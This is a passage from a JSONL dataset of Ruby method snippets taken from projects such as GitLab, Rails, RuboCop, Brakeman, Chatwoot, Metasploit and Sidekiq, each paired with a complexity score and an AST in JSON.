:\"const\",\"children\":[null,\"GRPC\"]},\"Core\"]},\"CallError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"107f7a9f-3d5e-4680-b0cb-609efa87e030"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/projects/branch_rule.rb","start_line":13,"raw_source":"def self.find(id)\n      protected_branch = ProtectedBranch.find(id)\n\n      new(protected_branch.project, protected_branch)\n    rescue ActiveRecord::RecordNotFound\n      raise ActiveRecord::RecordNotFound, \"Couldn't find Projects::BranchRule with 'id'=#{id}\"\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"protected_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProtectedBranch\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"protected_branch\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"protected_branch\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't find Projects::BranchRule with 'id'=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},null]}]}","id":"1b458d40-9f31-4a3d-ab9a-6b6f50175c17"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/html_formatter.rb","start_line":44,"raw_source":"def finished(inspected_files)\n        summary.inspected_files = inspected_files\n\n        render_html\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"finished\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inspected_files\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"summary\"]},\"inspected_files=\",{\"type\":\"lvar\",\"children\":[\"inspected_files\"]}]},{\"type\":\"send\",\"children\":[null,\"render_html\"]}]}]}","id":"d7095c02-d620-4f3a-af61-a4177c129939"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":478,"raw_source":"def test_redirect_to_new_query_methods\n    assert_no_warning :type => :warning,\n      :warning_code => 18,\n      :fingerprint => \"410e22682c2ebd663204362aac560414233b5c225fbc4259d108d2c760bfcbe4\",\n      :warning_type => \"Redirect\",\n      :line => 38,\n      :message => /^Possible\\ unprotected\\ redirect/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/users_controller.rb\",\n      :user_input => s(:call, s(:const, :User), :find_by, s(:hash, s(:lit, :name), s(:call, s(:params), :[], s(:lit, :name))))\n\n    assert_no_warning :type => :warning,\n      :warning_code => 18,\n      :fingerprint => \"c01e127b45d9010c495c6fd731baaf850f9a5bbad288cf9df66697d23ec6de4a\",\n      :warning_type => \"Redirect\",\n      :line => 40,\n      :message => /^Possible\\ unprotected\\ redirect/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/users_controller.rb\",\n      :user_input => s(:call, s(:const, :User), :find_by!, s(:hash, s(:lit, :name), s(:call, s(:params), :[], s(:lit, :name))))\n\n    assert_no_warning :type => :warning,\n      :warning_code => 18,\n      :fingerprint => \"9dd39bc751eab84c5485fa35966357b6aacb8830bd6812c7a228a02c5ac598d0\",\n      :warning_type => \"Redirect\",\n      :line => 42,\n      :message => /^Possible\\ unprotected\\ redirect/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/users_controller.rb\",\n      :user_input => s(:call, s(:call, s(:const, :User), :where, s(:hash, s(:lit, :stuff), s(:lit, 1))), :take)\n  end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect_to_new_query_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"410e22682c2ebd663204362aac560414233b5c225fbc4259d108d2c760bfcbe4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Redirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[38]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ unprotected\\\\ redirect\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"User\"]}]},{\"type\":\"sym\",\"children\":[\"find_by\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"c01e127b45d9010c495c6fd731baaf850f9a5bbad288cf9df66697d23ec6de4a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Redirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[40]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ unprotected\\\\ redirect\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"User\"]}]},{\"type\":\"sym\",\"children\":[\"find_by!\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"9dd39bc751eab84c5485fa35966357b6aacb8830bd6812c7a228a02c5ac598d0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Redirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[42]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ unprotected\\\\ redirect\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"User\"]}]},{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"stuff\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"sym\",\"children\":[\"take\"]}]}]}]}]}]}]}","id":"f74b94a8-8c37-4c27-b967-01fc577c0e7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":878,"raw_source":"def artifacts_metadata_entry(path, **options)\n      artifacts_metadata.open do |metadata_stream|\n        metadata = Gitlab::Ci::Build::Artifacts::Metadata.new(\n          metadata_stream,\n          path,\n          **options)\n\n        metadata.to_entry\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"artifacts_metadata_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifacts_metadata\"]},\"open\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metadata_stream\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Build\"]},\"Artifacts\"]},\"Metadata\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"metadata_stream\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"to_entry\"]}]}]}]}","id":"498466cb-4c82-4a43-b888-09adbf74d9e4"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/migration/remove_message_notifications.rb","start_line":5,"raw_source":"def perform\n    Notification.where(primary_actor_type: 'Message').in_batches(of: 100).delete_all\n  end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_actor_type\"]},{\"type\":\"str\",\"children\":[\"Message\"]}]}]}]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},\"delete_all\"]}]}","id":"f1f4811b-183b-4513-8c54-759c80c2ef70"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encoding_helper.rb","start_line":88,"raw_source":"def encode_utf8(message, replace: \"\")\n      message = force_encode_utf8(message)\n      return message if message.valid_encoding?\n\n      detect = detect_encoding(message)\n\n      if detect && detect[:encoding]\n        begin\n          CharlockHolmes::Converter.convert(message, detect[:encoding], 'UTF-8')\n        rescue ArgumentError => e\n          Gitlab::AppLogger.warn(\"Ignoring error converting #{detect[:encoding]} into UTF8: #{e.message}\")\n\n          ''\n        end\n      else\n        clean(message, replace: replace)\n      end\n    rescue ArgumentError\n      nil\n    end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_utf8\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"kwoptarg\",\"children\":[\"replace\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"force_encode_utf8\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"valid_encoding?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"detect\",{\"type\":\"send\",\"children\":[null,\"detect_encoding\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detect\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoding\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CharlockHolmes\"]},\"Converter\"]},\"convert\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detect\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoding\"]}]},{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Ignoring error converting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detect\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoding\"]}]}]},{\"type\":\"str\",\"children\":[\" into UTF8: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"clean\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replace\"]},{\"type\":\"lvar\",\"children\":[\"replace\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"7d8ca8a8-a04e-4c36-b713-42951d97feb7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/coders/yaml_column_test.rb","start_line":113,"raw_source":"def test_yaml_column_permitted_classes_option\n        ActiveRecord.yaml_column_permitted_classes = [Symbol]\n\n        coder = YAMLColumn.new(\"attr_name\", permitted_classes: [Time])\n        time_yaml = YAML.dump(Time.new)\n        symbol_yaml = YAML.dump(:somesymbol)\n\n        assert_nothing_raised do\n          coder.load(time_yaml)\n          coder.load(symbol_yaml)\n        end\n      end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_yaml_column_permitted_classes_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"yaml_column_permitted_classes=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"coder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAMLColumn\"]},\"new\",{\"type\":\"str\",\"children\":[\"attr_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permitted_classes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time_yaml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"new\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"symbol_yaml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"sym\",\"children\":[\"somesymbol\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"time_yaml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coder\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"symbol_yaml\"]}]}]}]}]}]}","id":"8745e1ff-f166-4cac-ae6b-7b36c3ebd987"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_handling.rb","start_line":319,"raw_source":"def connection_specification_name\n      if @connection_specification_name.nil?\n        return self == Base ? Base.name : superclass.connection_specification_name\n      end\n      @connection_specification_name\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"connection_specification_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection_specification_name\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"==\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"connection_specification_name\"]}]}]},null]},{\"type\":\"ivar\",\"children\":[\"@connection_specification_name\"]}]}]}","id":"2fb3a4ea-9d5c-4e28-95de-a2dd161ff6d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/expression/lexeme/logical_operator.rb","start_line":17,"raw_source":"def initialize(left, right)\n              raise OperatorError, 'Invalid left operand' unless left.respond_to? :evaluate\n              raise OperatorError, 'Invalid right operand' unless right.respond_to? :evaluate\n\n              @left = left\n              @right = right\n            end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left\"]},{\"type\":\"arg\",\"children\":[\"right\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"evaluate\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OperatorError\"]},{\"type\":\"str\",\"children\":[\"Invalid left operand\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"evaluate\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OperatorError\"]},{\"type\":\"str\",\"children\":[\"Invalid right operand\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@left\",{\"type\":\"lvar\",\"children\":[\"left\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@right\",{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}","id":"5faa21f8-cb46-427a-b4fd-3b80ed559f1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/authorize/authorize_resource.rb","start_line":35,"raw_source":"def raise_resource_not_available_error!(msg = RESOURCE_ACCESS_ERROR)\n            raise ::Gitlab::Graphql::Errors::ResourceNotAvailable, msg\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_resource_not_available_error!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"const\",\"children\":[null,\"RESOURCE_ACCESS_ERROR\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ResourceNotAvailable\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}","id":"18f0626c-966f-44f8-a5ce-1589e8dc411b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ssh/connection.rb","start_line":21,"raw_source":"def permit=(host, port, bind = false)\n    @acl ||= { bind:[], connect:[] }\n    unless permit?(host, port, bind)\n      @acl[ bind ? :bind : :connect ] << \"#{host}:#{port}\"\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"permit=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"optarg\",\"children\":[\"bind\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@acl\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bind\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connect\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permit?\",{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"bind\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@acl\"]},\"[]\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bind\"]},{\"type\":\"sym\",\"children\":[\"bind\"]},{\"type\":\"sym\",\"children\":[\"connect\"]}]}]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]}]}]}","id":"dd845771-2313-47c2-be0c-4960aa07f76b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace.rb","start_line":39,"raw_source":"def raw(last_lines: nil)\n        read do |stream|\n          stream.raw(last_lines: last_lines)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"raw\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"last_lines\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stream\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_lines\"]},{\"type\":\"lvar\",\"children\":[\"last_lines\"]}]}]}]}]}]}","id":"4594c18e-7f3d-43be-be53-77ca9e2275c8"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/test/redis_connection_test.rb","start_line":233,"raw_source":"def with_env_var(var, uri, skip_provider = false)\n      vars = [\"REDISTOGO_URL\", \"REDIS_PROVIDER\", \"REDIS_URL\"] - [var]\n      vars.each do |v|\n        next if skip_provider\n        ENV[v] = nil\n      end\n      ENV[var] = uri\n      assert_equal uri, Sidekiq::RedisConnection.__send__(:determine_redis_provider)\n      ENV[var] = nil\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"with_env_var\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]},{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"optarg\",\"children\":[\"skip_provider\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vars\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"REDISTOGO_URL\"]},{\"type\":\"str\",\"children\":[\"REDIS_PROVIDER\"]},{\"type\":\"str\",\"children\":[\"REDIS_URL\"]}]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_provider\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[